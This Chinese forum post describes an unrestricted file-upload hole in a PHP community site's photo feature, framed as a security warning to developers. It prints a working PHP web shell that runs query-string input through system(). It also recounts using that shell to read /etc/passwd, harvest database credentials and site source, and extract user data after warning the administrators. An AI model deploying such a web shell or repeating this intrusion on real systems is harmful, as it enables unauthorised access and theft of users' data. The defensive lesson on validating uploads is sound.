top
Loading...
關于php做社區網站的安全性
目前,我發現某個社區網站中的一個上傳“我的照片”功能有著很大的安全隱患,因為上傳程序未對上傳的文件做分析,從而我可以上傳一個test.php的文件, 然后服務器上的名字就為?????.php(?????為數字),

我的PHP內容如下:
<?
$dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);
……
mysql_close($dbs);
?>

當然……中我只作了個測試,沒有真正使用數據庫,但是我以另一個PHP,?????.php,內容如下:
<?
$query=getenv("QUERY_STRING");
$command=urldecode($query);
$stdout=system("$command");
echo "$stdout";
?>

成功的取得
$strDBHost = "?.?.?.?";
$strDBPassword = "????";
$strDBUser = "root";
并連上數據庫

然后用后一個PHP把上傳的PHP命名為CMD.PHP和DB.PHP

成功取得/ETC/PASSWD和該網站的首頁面MAIN.PHP源碼。

然后我發信警告網管,但是他們在第一天沒及時修補漏洞,于是我對數據庫進行分析,并上傳了個MB.PHP,成功的得到數據庫內的用戶信息。

今天他們采取的修補手段是把那個可以上傳的目錄移去,不過這將導致用戶暫時不能瀏覽、上傳照片。

所以進行此類設計時,應該考慮到惡意用戶通過直接調用url,把惡意數據傳個程序,而不能以為網頁在服務器端就安全了!

北斗有巢氏 有巢氏北斗